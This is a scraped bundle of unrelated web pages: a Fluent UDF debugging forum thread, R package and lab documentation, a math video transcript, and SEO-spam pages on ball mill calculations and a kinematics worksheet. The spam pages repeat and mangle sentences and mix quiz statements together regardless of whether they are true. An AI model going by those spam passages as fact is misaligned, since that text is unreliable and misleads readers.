suggest.\n\nCode:\n```/***********************************************************************\nUDF for defining surface tension source term and interface smoothening\n************************************************************************/\n\n#include \"udf.h\"\n\nDEFINE_SOURCE(surface_tension_force,c,t,dS,eqn)\n{\n\n/* Note that t is the mixture thread passed by the solver in this case */\n\nDomain *d = Get_Domain(1);\t\t\t/* defines the mixture domain */\n\nreal source;\nreal k;\t\t\t\t\t\t/* interface curvature */\nreal ncap;\t\t\t\t\t/* unit normal */\nreal n;\t\t\t\t\t\t/* a function of the phase fraction */\nreal sigma = 0.072;\t\t\t\t/* surface tension coefficient */\nreal alphacell = C_UDMI(c,t,1);\t\t\t/* calculates the area averaged volume fraction of individual cell */\nreal rho1 = 1.225;\t\t\t\t/* Density of air */\nreal rho2 = 1;\t\t\t\t\t/* Density of non-Newtonian fluid */\n\n/* Fill UDS with the alphacell values to get gradient value */\n\n{\nbegin_c_loop(c,t)\n{\nC_UDSI(c,t,0) = alphacell;\n}\nend_c_loop(c,t)\n}\n\n/* Get value of n as the gradient of alphacell (phase fraction) */\n\n{\nbegin_c_loop(c,t)\n{\nn = C_UDSI_G(c,t,0);\n}\nend_c_loop(c,t)\n}\n\nncap = n/NV_MAG(n);\t\t\t\t/* calculate unit vector */\n\n/* Fill another UDS with the variable ncap */\n\n{\nbegin_c_loop(c,t)\n{\nC_UDSI(c,t,1) = ncap;\n}\nend_c_loop(c,t)\n}\n\n{\nbegin_c_loop(c,t)\n{\nk = C_UDSI_G(c,t,1);\t\t\t\t/* Get value of k as the gradient of ncap */\n}\nend_c_loop(c,t)\n}\n\nsource = sigma*k*C_R(c,t)*n/(0.5*(rho1+rho2));\t/* Calculate the surface tension force */\ndS[eqn] = 0;\nreturn source;\n}```\nQuote:\n Surfacetension_Sourceterm_Trial.c ..\\..\\src\\Surfacetension_Sourceterm_Trial.c(40): error C2440: '=': cannot convert from 'real *' to 'real' ..\\..\\src\\Surfacetension_Sourceterm_Trial.c(45): error C2109: subscript requires array or pointer type ..\\..\\src\\Surfacetension_Sourceterm_Trial.c(45): error C2198: 'sqrt': too few arguments for call ..\\..\\src\\Surfacetension_Sourceterm_Trial.c(62): error C2440: '=': cannot convert from 'real *' to 'real'",
null,
"",
null,
"",
null,
"March 23, 2021, 14:15",
null,
"#5 Senior Member Join Date: Nov 2013 Posts: 1,781 Rep Power: 22",
null,
"Your problem now is that gradient is a vector. You can not store that in a scalar. __________________ \"The UDF library you are trying to load (libudf) is not compiled for parallel use on the current platform\" is NOT the error after compiling. It is the error after loading. To see compiler errors, look at your screen after you click \"build\".",
null,
"",
null,
"",
null,
"March 23, 2021, 14:23",
null,
"#6\nNew Member\n\nVenkat Ganesh\nJoin Date: May 2020\nLocation: Cincinnati, Ohio\nPosts: 15\nRep Power: 3",
null,
"Quote:\n Originally Posted by pakk",
null,
"Your problem now is that gradient is a vector. You can not store that in a scalar.\nThanks. I just realized that and made some modifications to the code. I was able to declare n as a vector using real n[ND_ND] and perform the corresponding operation using NV_V(n, =, C_UDSI_G(c,t,0)).\n\nThe below are the concepts I'm struggling with right now.\n\n1. ncap is a vector that has the value ( n/NV_MAG(n) ), where n is also a vector. How would I perform the operation of dividing a vector by a scalar? As the command as it is gives me an error \"error C2296: '/': illegal, left operand has type 'real '\" Is there a NV macro that can handle this?\n\n2. I need to calculate the divergence of the vector ncap (or simply said - the Laplacian) and store it in k. How would I go about this?\n\nLast edited by Venky_94; March 23, 2021 at 23:24.",
null,
"",
null,
"",
null,
"March 25, 2021, 11:08",
null,
"#7\nNew Member\n\nVenkat Ganesh\nJoin Date: May 2020\nLocation: Cincinnati, Ohio\nPosts: 15\nRep Power: 3",
null,
"Quote:\n Originally Posted by Venky_94",
null,
"Thanks. I just realized that and made some modifications to the code. I was able to declare n as a vector using real n[ND_ND] and perform the corresponding operation using NV_V(n, =, C_UDSI_G(c,t,0)). The below are the concepts I'm struggling with right now. 1. ncap is a vector that has the value ( n/NV_MAG(n) ), where n is also a vector. How would I perform the operation of dividing a vector by a scalar? As the command as it is gives me an error \"error C2296: '/': illegal, left operand has type 'real '\" Is there a NV macro that can handle this? 2. I need to calculate the divergence of the vector ncap (or simply said - the Laplacian) and store it in k. How would I go about this?\nUpdate:\nI was able to achieve the first part using the command NV_VS(ncap, =, n, /, NV_MAG(n)).\n\nSo now I have the unit vector ncap. All I need to do it figure out how to calculate the term ∇⋅ncap (divergence of the unit vector). Any suggestions would be great.",
null,
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https://www.alphenpolarbears.nl/Nov-10499/how-we-calculate-volume-of-ball-mill/ | [
"•",
null,
"### MODELING THE SPECIFIC GRINDING ENERGY AND BALL\n\n1 MODELING THE SPECIFIC GRINDING ENERGY AND BALL-MILL SCALEUP K. G. Tsakalakis G.A. Stamboltzis NTUA Athens-Greece E-mail kostsakg metal.ntua.gr Presented at the conference IFAC 2004 held in September 2004 (Nancy-France)\n\n•",
null,
"### Calculate and Select Ball Mill Ball Size for Optimum Grinding\n\nIn Grinding selecting (calculate) the correct or optimum ball size that allows for the best and optimum/ideal or target grind size to be achieved by your ball mill is an important thing for a In Grinding selecting (calculate) the correct or optimum ball size that allows for the best and optimum/ideal or target grind size to be achieved by your ball mill is an important thing for a Mineral Processing Engineer AKA Metallurgist to do. Often the ball used in ball mills is oversize \"just in case\".\n•",
null,
"### how we calculate percentage of media in ball mill\n\nhow we calculate percentage of media in ball mill How to Size a Ball Mill -Design Calculator Formula. A) Total Apparent Volumetric Charge Fillingincluding balls and excess slurry on top of the ball charge plus the interstitial voids in between the ballsexpressed as a percentage of the net internal mill volume\n\n•",
null,
"### AMIT 135 Lesson 2 Circuit Mass BalancingMining Mill\n\nMass/Volume Flow Determination. The relationship between the mass (M) and the volume flow (Q rates in a given stream is defined as = the pulp density (solids and water) in lbs/ft 3 X = solids Mass/Volume Flow Determination. The relationship between the mass (M) and the volume flow (Q rates in a given stream is defined as = the pulp density (solids and water) in lbs/ft 3 X = solids concentration in by weight Volumetric flow rate can be measured by flow meters P-Q curve relationships for pumps or directly measured.\n•",
null,
"### Optimization of mill performance by using\n\nOptimization of mill performance by using online ball and pulp measurements by B. Clermont and B. de Haas Synopsis Ball mills are usually the largest consumers of energy within a mineral concentrator. Comminution is responsible for 50 of the total mineral processing cost. In today s global markets expanding mining groups are trying\n\n•",
null,
"### How do you calculate the surface area of a ball Answers\n\nSurface Area is the term used to describe the area of an object that is exposed. In other words if you took a tennis ball the outside of the ball is it s surface area.\n\n•",
null,
"### Optimum choice of the make-up ball sizes for maximum\n\nOptimum choice of the make-up ball sizes for maximum throughput in tumbling ball mills. Author links open overlay panel Heechan Cho Jihoe Kwon Kihong Kim Myoungwook Mun. Show more. volume fraction of mill filled ball bed We use cookies to help provide and enhance our service and tailor content and ads.\n\n•",
null,
"Effect of Slurry Solids Concentration and Ball Loading on Mill Residence Time Distribution Article (PDF Available) · January 2014 with 628 Reads How we measure reads\n\n•",
null,
"### A Method to Determine the Ball Filling in Miduk Copper\n\ndraw out mill`s internal load and calculate the weight of ball part and stony part separately. However maybe this method will be unusable due to its operational Ball volume in total mill load could draw out mill`s internal load and calculate the weight of ball part and stony part separately. However maybe this method will be unusable due to its operational Ball volume in total mill load could compute by Equation 3. Mill Ball ( ) = 100 (ball volume in the 0.4 m3 sample) 58.52 / 0.4 /297.96 (3)\n•",
null,
"### Estimate Charge Volume of a Grinding Mill (Method 1)\n\nFollow the charts below and pull them into this calculator. If you can clearly see inside the mill use the liner method. Estimate Charge Volume of a Grinding Mill (Method 1) Previous Next View Follow the charts below and pull them into this calculator. If you can clearly see inside the mill use the liner method. Estimate Charge Volume of a Grinding Mill (Method 1) Previous Next View Larger Image. The load estimation method has you physically measure distances in the mill. We have all the laboratory and plant equipment you\n•",
null,
"### calculation of filling volume in ball mill\n\nWe can calculate the steel charge volume of a ball or rod mill and express it as the of the volume within the liners that is filled with grinding Get Price effect of\n\n•",
null,
"### A Method of C alculating Autogenous/ Semi-Autogenous\n\nmills with the rod mill and ball mill laboratory work indices. Note in Figure. 1 that the rod mill product slope is less than 0.5 due to an extra amount of nes present being fi fi ner than 650 μm. These fi nes proceed to the ball mill improving the ball mill effi ciency. Also the plotted rod mill P80 value as shown in Figure 1 is 2900\n\n•",
null,
"### calcSDBall Size Calculator\n\nBall Size Calculator. Warning There s currently no reliable or recommended source of information about these averages. A page for measuring the volume of balls I guess. This is not a very organized page take every result with a grain of salt. All measurements should be of one single testicle not both of them.\n\n•",
null,
"### How Can We Calculate The Rpm Of Ball Mill\n\nHow Can We Calculate The Rpm Of Ball Mill. Milling Speed and Feed CalculatorCustomPart . Our free speed and feed calculator can be used to determine the spindle speed (RPM) and feed How Can We Calculate The Rpm Of Ball Mill. Milling Speed and Feed CalculatorCustomPart . Our free speed and feed calculator can be used to determine the spindle speed (RPM) and feed rate (IPM) for the specified cutting conditions as well as .\n•",
null,
"### How to Handle the Charge Volume of a Ball Mill or Rod Mill\n\nJan 04 2012 · Ball Mill is an efficient tool for grinding many materials into fine powder. The Ball Mill is used to grind many kinds of mine and other materials or to select the mine. It is widely used in building material chemical industry etc. There are two ways of grinding the dry way and the wet way. It can be divided into tabular type and flowing type according to different expelling mine.\n\n•",
null,
"Ball Mill Instruction Manual (PDF)BICO Inc. The F.C. Bond Ball Mill is a small universal laboratory mill used in calculating the grindability 700 CC ofminus 6 mesh stage crushed dry feed was used and the circulation load maintain€d .. lhe work requircd is proportioDal to the rcdultioo in volume of tbe pa . diameter as shown in the work index Equation (1).\n\n•",
null,
"### Optimum choice of the make-up ball sizes for maximum\n\nOptimum choice of the make-up ball sizes for maximum throughput in tumbling ball mills. Author links open overlay panel Heechan Cho Jihoe Kwon Kihong Kim Myoungwook Mun. Show more. volume fraction of mill filled ball bed We use cookies to help provide and enhance our service and tailor content and ads.\n\n•",
null,
"### Ball Mill Capacity Dimensions -2013\n\nBAALLLL MMIILLSLLS WEETT D DRRYY SSIIZEZE RREEDUCTIONDUCTION JH 3-2014 Talk with the Experts sales pauloabbe pauloabbe Since 1911 phone 630.350.3012 fax BAALLLL MMIILLSLLS WEETT D DRRYY SSIIZEZE RREEDUCTIONDUCTION JH 3-2014 Talk with the Experts sales pauloabbe pauloabbe Since 1911 phone 630.350.3012 fax 630.238.7584 Dry Discharge requires the use of a dust tight enclosure.cloosure. Shown above is a Full Housing which encloses the entire cylinderdust seals are on the shaft.\n•",
null,
"### CALCULATION OF THE POWER DRAW OF DRY\n\nEquation 1 is multiplied by the factor of 1.08. A multi-compartment ball mill consists of two or more grate discharge ball mills in series. The same equation is used to calculate the power that each ball mill compartment should draw. The total power is the sum of the\n\n•",
null,
"### How to Handle the Charge Volume of a Ball Mill or Rod Mill\n\nThe charge volume of a ball or rod mill is expressed as the percentage of the volume within the liners filled with balls or rods. When the mill is stationary the charge volume can be quickly obtained by measuring the diameter inside the liners and the distance from the top of the mill inside the liners to the top of the charge.\n\n•",
null,
"### how to calculate volume in ballmill filling Mining\n\nsimple ball mill filling level the chambers measured to calculate the ball charge filling and estimate charging in cement mill ball mill volume loading How To Calculate Volume Think of filling a very big box (it would be 1 meter wide 1 meter long and one meter high)\n\n•",
null,
"### How to calculate planetry ball mill parmeters\n\nHow to calculate planetry ball mill parmeters I cannot point on the exact minimal volume percentage of a material in a jar. I woud say approximately40-50 vol of the jar volume (balls\n\n•",
null,
"### calculation of filling volume in ball mill\n\nWe can calculate the steel charge volume of a ball or rod mill and express it as the of the volume within the liners that is filled with grinding Get Price effect of\n\n•",
null,
"Ball Mill LoadingDry Milling. Ball Mill Loading (dry milling) When charging a ball mill ceramic lined mill pebble mill jar mill or laboratory jar use on a jar rolling mill it is important to have the correct amount of media and correct amount of product.\n\n•",
null,
"### How To Calculate The Volume Of A Ball Mill\n\nHow To Calculate The Volume Of A Ball Mill. Approxs 1lakh unit get latest price the work index ball mill is used to find grinding work index referring to the grindability index of ores it indicate the How To Calculate The Volume Of A Ball Mill. Approxs 1lakh unit get latest price the work index ball mill is used to find grinding work index referring to the grindability index of ores it indicate the grinding difficulty of the materialt is measured according to the principle that to calculate the grinding work index based on output of each revolution of the mill after the material is ground\n•",
null,
"### Mill Steel Charge Volume Calculation\n\nWe can calculate the steel charge volume of a ball or rod mill and express it as the of the volume within the liners that is filled with grinding media. While the mill is stopped the charge volume can We can calculate the steel charge volume of a ball or rod mill and express it as the of the volume within the liners that is filled with grinding media. While the mill is stopped the charge volume can be gotten by measuring the diameter inside the liners and the distance from the top of the charge to the top of the mill.\n•",
null,
"### Ball Mill Critical Speed Working PrincipleYouTube\n\nClick to view5 40\n\nJun 20 2015 · The effect of Ball Mill RPM speed going from sub-critical to super-critical helps understand the Ball Mill Working Principles of ball-on-ball VS ball-on-shell grinding. The Motion of the Ball Charge\n\nAuthor 911 Metallurgy Corp.\n•",
null,
"### Ball Mill Capacity Dimensions -2013\n\nBAALLLL MMIILLSLLS WEETT D DRRYY SSIIZEZE RREEDUCTIONDUCTION JH 3-2014 Talk with the Experts sales pauloabbe pauloabbe Since 1911 phone 630.350.3012 fax 630.238.7584 Dry Discharge requires the use of a dust tight enclosure.cloosure. Shown above is a Full Housing which encloses the entire cylinderdust seals are on the shaft.\n\n•",
null,
"Ball mill charge volume calculation pdf. how to calculate for ball mill media charge. mill steel charge volume calculation. we can calculate the steel charge volume of a ball or rod mill and express it as the of the volume within the liners that is filled with grinding media. grinding ball mill load calculation formula youtube. Read More\n\n•",
null,
"### Calculating Of Volume In Ball Mill Capacity\n\nMill Steel Charge Volume CalculationMineral Processing Oct 23 2016 We can calculate the steel charge volume of a ball or rod mill and express it as the of the volume within the liners that is filled with grindingfree calculator for calculation for ball mill charge volume in paint Calculate Ball Mill Grinding CapacityMineral ..\n\n•",
null,
"How We Calculate Percentage Of Media In Ball Mill. How to calculate the media in ball mill. Mill Steel Charge Volume Calculation We can calculate the steel charge volume of a ball or rod mill and express it as the of the volume within the liners that is filled with grinding media While the mill is stopped the charge volume can be gotten by measuring the diameter inside the liners and the\n\n•",
null,
"### how we calculate percentage of media in ball mill\n\nhow we calculate percentage of media in ball mill How We Calculate Percentage Of Media In Ball Mill. How We Calculate Percentage Of Media In Ball Mill. How to choose a stepover for 3d profiling cnc milling feeds and speeds cookbookhis is a guest post by . how we calculate percentage of media in ball mill\n\n•",
null,
"### Calculation of energy required for grinding in a ball mill\n\nVolume 25 Issues 1–2 January 1989 Pages 41-46. Calculation of energy required for grinding in a ball mill. Therefore in practice we can expect some difficulties and errors when the energy consumption is determined according to this formula in the case when\n\n•",
null,
"### How Can We Calculate The Rpm Of Ball Mill\n\nHow Can We Calculate The Rpm Of Ball Mill. Milling Speed and Feed CalculatorCustomPart . Our free speed and feed calculator can be used to determine the spindle speed (RPM) and feed rate (IPM) for the specified cutting conditions as well as .\n\n•",
null,
"### How to calculate cement ball mill capacityQuora\n\nTelephone 0086-371-67666660 Telephone 0086-371-67666667 Contact Person Mr.Zhao 0086-13523465141 Fax 00086-371—68125111 Well there is no precise calculation method that can Telephone 0086-371-67666660 Telephone 0086-371-67666667 Contact Person Mr.Zhao 0086-13523465141 Fax 00086-371—68125111 Well there is no precise calculation method that can accurately calculate the specific capacity of the cement ball mill.Here areWhat are the limitations of a ball mill Feb 18 2020What is the roller volume ratio in a ball mill Sep 16 2019How to calculate volume of 50Kg cement bagDec 06 2017Do you know ball mill See more results\n•",
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https://rdrr.io/cran/rties/man/indivInertCoordPlots.html | [
"# indivInertCoordPlots: Produces plots of the inertia-coordination model-predicted... In rties: Modeling Interpersonal Dynamics\n\n## Description\n\nThe observed state variables (with linear trends removed) are predicted from one of the 3 versions of the inertia-coordination model (inertia only, \"inert\"; coordination only, \"coord\"; full inertia-coordination, \"inertCoord\") for each dyad individually. The predicted trajectories are plotted overlaid on the observed trajectories.\n\n## Usage\n\n ```1 2 3 4 5 6 7 8 9``` ```indivInertCoordPlots( prepData, whichModel, dist0name = NULL, dist1name = NULL, plot_obs_name = NULL, minMax = NULL, printPlots = T ) ```\n\n## Arguments\n\n `prepData` A dataframe that was produced with the \"dataPrep\" function. `whichModel` Whether the model to be estimated is the inertia only model (\"inert\"), the coordination only model (\"coord\"), or the full inertia-coordination model (\"inertCoord\"). `dist0name` An optional name for the level-0 of the distinguishing variable to appear on plots (e.g., \"Women\"). `dist1name` An optional name for the level-1 of the distinguishing variable to appear on plots (e.g., \"Men\"). `plot_obs_name` An optional name for the observed state variable to appear on plots (e.g., \"Emotional Experience\"). `minMax` An optional vector with desired minimum and maximum quantiles to be used for setting the y-axis range on the plots, e.g., minMax <- c(.1, .9) would set the y-axis limits to the 10th and 90th percentiles of the observed state variables. If not provided, the default is to use the minimum and maximum observed values of the state variables. `printPlots` If true (the default) plots are displayed on the screen.\n\n## Value\n\nA list with the plots of the predicted values against the observed values for each dyad.\n\n## Examples\n\n ```1 2 3 4 5``` ```data <- rties_ExampleDataShort newData <- dataPrep(basedata=data, dyadId=\"couple\", personId=\"person\", obs_name=\"dial\", dist_name=\"female\", time_name=\"time\", time_lag=2) temp <- newData[newData\\$dyad < 5, ] plots <- indivInertCoordPlots(prepData=temp, whichModel=\"inertCoord\") ```\n\nrties documentation built on July 2, 2020, 4:11 a.m."
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https://www.nagwa.com/en/videos/916103197386/ | [
"# Video: Computing Numerical Expressions Using Laws of Exponents\n\nWhat is the value of 3 × 3² − 6 ÷ 3 × 7 + 8?\n\n02:50\n\n### Video Transcript\n\nWhat is the value of three times three squared minus six divided by three times seven plus eight?\n\nTo solve this question, we’ll need to use the order of operations. This is the order that we follow when evaluating expressions or equations. We start here. Our expression does not have any form of grouping or parentheses, which means we can move on to the exponents step. This expression has one exponent, three squared.\n\nWe will go ahead and evaluate what three squared is. Three squared is nine. Since there are no other exponents in the expression, that step is finished. Now we just copy down the expression exactly how it was written above with the exception of adding in a nine for three squared. The next thing that comes up in order of operations is multiply and divide. When we do multiplication and division in expressions or equations, we multiply and divide from left to right. This means that sometimes we will divide before we multiply. I’ll show you.\n\nThis expression has three instances of multiplication or division. And we’re gonna solve them by moving from left to right. First up, three times nine. That equals twenty-seven. Copy down the equation. Move from left to right, looking for multiplication or division, we find division: six divided by three. That equals two. Bring down the rest of the expression. Look for multiplication or division. We find two times seven. Two times seven equals fourteen. There are no more multiplication or division operations. Now we want to add and subtract, moving from left to right. Twenty-seven minus fourteen is thirteen. Bring down the expression. Thirteen plus eight equals twenty-one. We finished the order of operations. To answer the question we were asked, what is the value of that expression, the value is twenty-one."
]
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https://hipyqav.yunusemremert.com/kinematics-review-worksheet-1-writing-and-balancing-formula-equations-answers-59260ex.html | [
"# Kinematics review worksheet #1 writing and balancing formula equations answers\n\nMatter is conserved because atoms are conserved in physical and chemical processes. MS-PS - Develop and use a model to describe how the total number of atoms does not change in a chemical reaction and thus mass is conserved.",
null,
"Which of the following statements about free fall and the acceleration of gravity are TRUE? List all that apply. An object that is free-falling is acted upon by the force of gravity alone. A falling skydiver which has reached terminal velocity is considered to be in a state of free fall.\n\nA ball is thrown upwards and is rising towards its peak. As it rises upwards, it is NOT considered to be in a state of free fall. An object in free fall experiences an acceleration which is independent of the mass of the object.\n\n## 1D Kinematics Review - with Answers #1\n\nA ball is thrown upwards, rises to its peak and eventually falls back to the original height. As the ball rises, its acceleration is upwards; as it falls, its acceleration is downwards.\n\nThe speed at which it is launched equals the speed at which it lands. Assume negligible air resistance.\n\nA very massive object will free fall at the same rate of acceleration as a less massive object. The value of g on Earth is approximately 9. The symbol g stands for the force of gravity. This is the definition of free fall. FALSE - Skydivers which are falling at terminal velocity are acted upon by large amounts of air resistance.\n\nThey are experiencing more forces than the force of gravity. As such, they are NOT free-falling. FALSE - Any object - whether rising, falling or moving horizontally and vertically simultaneously - can be in a state of free fall if the only force acting upon it is the force of gravity.\n\nSuch objects are known as projectiles and often begin their motion while rising upwards.\n\n## Eighth grade Lesson Balancing Chemical Equations | BetterLesson\n\nTRUE - The unique feature of free-falling objects is that the mass of the object does not effect the trajectory characteristics. The acceleration, velocity, displacement, etc. A rising object slows down due to the downward gravity force.\n\nAn upward-moving object which is slowing down is said to have a downwards acceleration. TRUE - If the object is truly in free-fall, then the speed of the object will be the same at all heights - whether its on the upward portion of its trajectory or the downwards portion of its trajectory.\n\nFor more information, see the Projectiles page at The Physics Classroom. TRUE - The acceleration of free-falling objects referred to as the acceleration of gravity is independent of mass. On Earth, the value is 9. All objects - very massive and less massive - experience this acceleration value.\n\n• Suggest Documents\n• NGSS Background\n• Part A: Multiple TRUE/FALSE\n• Kinematics - Mrs. Barnett Dreyfuss\n\nIt might be best to call it the acceleration caused by gravity. When it comes to the force of gravity, we have yet another symbol for that - Fgrav.A 1 m step will increase the displacement (read as out of place-ness) by 1 meter and contribute one more meter to the total distance which is walked.\n\ne.\n\n## Chapter 7 Worksheet #1 Balancing Chemical Equations Balance the ...\n\nFALSE - Distance is a scalar and is ignorant of direction. MCAS kinematics equations: i A. Units and quantities. 1) The quantity, its symbol, its standard international unit, and its unit’s symbol are represented in the following table.\n\nFill the blanks by following the example. On the last column write a V if the quantity is vector and S if kinematics review KEY. Balancing Equations Worksheet #1 - ANSWERS Balance the following equations by placing the correct coefficients in the space provided. 1. . Worksheet #1: Writing and Balancing Formula Equations 1.\n\nsulfur + oxygen Æ sulfur dioxide S 8 + 8O 2 Æ 8SO 2 2. zinc + sulfuric acid Æ zinc sulfate + hydrogen. Worksheet 2: Kinematics 1 Confronting misconceptions in motion Figure 1: Left Figure a) Do objects A and B ever have the same position?\n\nb) Do objects A and B ever have the same velocity? Figure 3: The four kinematics equations with their variables. Pick the appropriate equation or set of equations to use.\n\n## Navigate to:\n\nKinematics Review This is a review packet that has some of the important concepts in Kinematics that we should check the answer key provided on line. Kinematics Standards: MCAS kinematics equations: i A.\n\nUnits and quantities. 1) The quantity, its symbol, its standard international unit, and its unit’s symbol are represented in the.",
null,
"Chapter 7 Worksheet #1 Balancing Chemical Equations Balance the - yunusemremert.com"
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null,
"http://www.paperskystore.com/wp-content/uploads/2018/06/chemical-reactions-worksheet-answers-design-of-balancing-chemical-equations-worksheets-with-answers-2.jpg",
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"https://ecdn.teacherspayteachers.com/thumbitem/Writing-Chemical-Formulas-and-Balancing-Equations-Worksheet/original-22957-1.jpg",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.9375091,"math_prob":0.94663143,"size":4169,"snap":"2021-04-2021-17","text_gpt3_token_len":887,"char_repetition_ratio":0.12893157,"word_repetition_ratio":0.085753806,"special_character_ratio":0.20724395,"punctuation_ratio":0.102372035,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.982557,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,1,null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-01-24T03:17:08Z\",\"WARC-Record-ID\":\"<urn:uuid:6c8c35a0-97c5-444b-848b-28ae62254f38>\",\"Content-Length\":\"9857\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:feb98138-3476-4387-bcbf-dc9a52f09686>\",\"WARC-Concurrent-To\":\"<urn:uuid:bc2b9286-2127-4973-a2df-08f504bab95a>\",\"WARC-IP-Address\":\"172.67.173.86\",\"WARC-Target-URI\":\"https://hipyqav.yunusemremert.com/kinematics-review-worksheet-1-writing-and-balancing-formula-equations-answers-59260ex.html\",\"WARC-Payload-Digest\":\"sha1:ZOM6CEFHKHEH33JW34MGUDPDM6XR5Z55\",\"WARC-Block-Digest\":\"sha1:LDVMUN3IB77L7YV7EBID5TMJKJBSA7MX\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-04/CC-MAIN-2021-04_segments_1610703544403.51_warc_CC-MAIN-20210124013637-20210124043637-00552.warc.gz\"}"} |
https://johnmuschelli.com/intro_to_r/Data_Visualization/lab/Data_Visualization_Lab_Key.html | [
"``````library(readr)\nlibrary(ggplot2)\nlibrary(tidyr)\nlibrary(dplyr)\nlibrary(lubridate)\nlibrary(stringr)\nlibrary(jhur)``````\n\nRead in the charm city circulator dataset:\n\n`circ = read_csv(\"http://johnmuschelli.com/intro_to_r/data/Charm_City_Circulator_Ridership.csv\")` or `circ = read_circulator()`\n\n``circ = read_csv(\"http://johnmuschelli.com/intro_to_r/data/Charm_City_Circulator_Ridership.csv\")``\n``````## Parsed with column specification:\n## cols(\n## day = col_character(),\n## date = col_character(),\n## orangeBoardings = col_double(),\n## orangeAlightings = col_double(),\n## orangeAverage = col_double(),\n## purpleBoardings = col_double(),\n## purpleAlightings = col_double(),\n## purpleAverage = col_double(),\n## greenBoardings = col_double(),\n## greenAlightings = col_double(),\n## greenAverage = col_double(),\n## bannerBoardings = col_double(),\n## bannerAlightings = col_double(),\n## bannerAverage = col_double(),\n## daily = col_double()\n## )``````\n``````# covert dates\ncirc = mutate(circ, date = mdy(date))\n# change colnames for reshaping\ncolnames(circ) = colnames(circ) %>%\nstr_replace(\"Board\", \".Board\") %>%\nstr_replace(\"Alight\", \".Alight\") %>%\nstr_replace(\"Average\", \".Average\")\n\n# make long\nlong = gather(circ, \"var\", \"number\",\nstarts_with(\"orange\"),\nstarts_with(\"purple\"), starts_with(\"green\"),\nstarts_with(\"banner\"))\n# separate\nlong = separate(long, var, into = c(\"route\", \"type\"),\nsep = \"[.]\")``````\n\nor run:\n\n``````long = read_circulator_long() %>%\nrename(route = line)``````\n``````## Parsed with column specification:\n## cols(\n## day = col_character(),\n## date = col_character(),\n## orangeBoardings = col_double(),\n## orangeAlightings = col_double(),\n## orangeAverage = col_double(),\n## purpleBoardings = col_double(),\n## purpleAlightings = col_double(),\n## purpleAverage = col_double(),\n## greenBoardings = col_double(),\n## greenAlightings = col_double(),\n## greenAverage = col_double(),\n## bannerBoardings = col_double(),\n## bannerAlightings = col_double(),\n## bannerAverage = col_double(),\n## daily = col_double()\n## )``````\n``````## take just average ridership per day\navg = filter(long, type == \"Average\")\navg = filter(avg, !is.na(number))\n\n# separate\ntype_wide = spread(long, type, value = number)\n``````## # A tibble: 6 x 7\n## day date daily route Alightings Average Boardings\n## <chr> <date> <dbl> <chr> <dbl> <dbl> <dbl>\n## 1 Friday 2010-01-15 1644 banner NA NA NA\n## 2 Friday 2010-01-15 1644 green NA NA NA\n## 3 Friday 2010-01-15 1644 orange 1643 1644 1645\n## 4 Friday 2010-01-15 1644 purple NA NA NA\n## 5 Friday 2010-01-22 1394. banner NA NA NA\n## 6 Friday 2010-01-22 1394. green NA NA NA``````\n\n# Part 1\n\nIn these questions, try to use `ggplot2` if possible.\n\n1. Plot average ridership (`avg` data set) by `date`.\n``````q = qplot(x = date, y = number, data = avg)\nq + xlim(ymd(\"2011/05/03\", \"2012/06/04\"))``````\n``## Warning: Removed 1871 rows containing missing values (geom_point).``",
null,
"``````g = ggplot(avg, aes(x = date, y = number))\ng + geom_point()``````"
]
| [
null,
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oLy1q1bOxCDBg2y8ePHm+YF/fTTT53h7NrQtm1b08S2bnJ7g2phi0TJfd1dIEl58rVPovLwGgIIIIAAAggggAACCCCAAAIIIIAAAgj4E6jkL3uwc2vF9hYtWtj9999vV111lbOCm4KgFSpUsMsuu8w6depUqgLuquluoLPUxr+eaBV5JTdf7ONc7+OcOO6/I4880unhGvey87RXr17WtWvXRJt4LQcCtWvXNv0jFaaAVods2LBhYVaeWtP2Bf4e0AqxpMIUaNCgQWFWnFo7Alz7FeYbgeu9wmx31Zq2p+0LVyC6NY9UAHT+/Pn2+eef24YNG5yFjXShqkWPNI/npEmT7KijjioJairPn3/+6bRsskCW21t09erVTr587ZPs7abzb9y4MeFmva4pAEgIIJB7AX7Xcm/MGRAIqgC//0FtmdyXi7bPvXGQz0D7B7l1clc22j13tkE+Mu0e5NahbAhkLhCZAKjm6VSvTwUr1duzY8eOTs9P9QB96qmn7JFHHnHm8tTq7s2aNXO2afX3VatWOfskInQDn1WqVHE2qydpPvZJVBa9tvXWWzvlTrRdQVzVlZR7Ac0lmyoYnfsScIbyElDPTyXdcFi/fn15FYPzlpOA/gbogpi2L6cGKMfTqu31T4m/teXYEOV0av3e628/bV9ODVCOp3XbXkXQZ3+yjgjlWEROnSMBt+35vc8RcEAPq896tT3X+gFtoBwXi2v9HANn6fDud/JMDheZAOjDDz/sBDPPOOMMO/nkk0sshNO5c2dbuHChjRgxwgmEDhgwwNmuleE1v+eyZctK8sc+cF+vWbNmycv52qfkhDEPhg4dGvOs9MOlS5eaesCSci+g4RCaFiF2aoTcn5UzBEGgUaNGTjF0MbxgwYIgFIky5FFAU5/owlh/T0iFJVBcXGzVqlVzKr1o0SKC4IXV/E7b6z2gz30CYIXV+DVq1DCtM6DEtV9htj3frwqr3TXNjRtcoe0Lq+1VW40AVuyHtg9227vfyTMpZWQWQZoyZYpT/zZt2iR00PB3pW+++aZku4KZSm6gs2TD/x4oqKiki1435Wsf93z8RAABBBBAAAEEEEAAAQQQQAABBBBAAIHMBSIRAI0dklK5cuWEGu6CRmvXri3ZvuWWWzqPf/nll5LXYh+4r++8884lL+drn5IT8gABBBBAAAEEEEAAAQQQQAABBBBAAAEEMhaIRABUQxI1r6fS119/nRBj8uTJzuvbb799yfYjjjjCefz222+XvOY+0ByP7777rvN09913d1+2fO1TckIeIIAAAggggAACCCCAAAIIIIAAAggggEDGApEIgKr27hD3hx56yH766adSIHPnzrUhQ4Y4r7n59KRVq1bWtGlT+/HHH2306NGl9tHCSZrnbdttt7X99tuvZFu+9ik5IQ8QQAABBBBAAAEEEEAAAQQQQAABBBBAIGOBijf8lTLeO0A7api6enn++uuv9tZbbzlBzVmzZjmPBw4caJrP84ADDrAePXqUlForvGlOz/fff9/GjRtnv/32m82YMcNZNf7ll182Dafv37+/adEbN+VrH/d8Xn9qxfrY4f1e9yOffwFNjrxmzR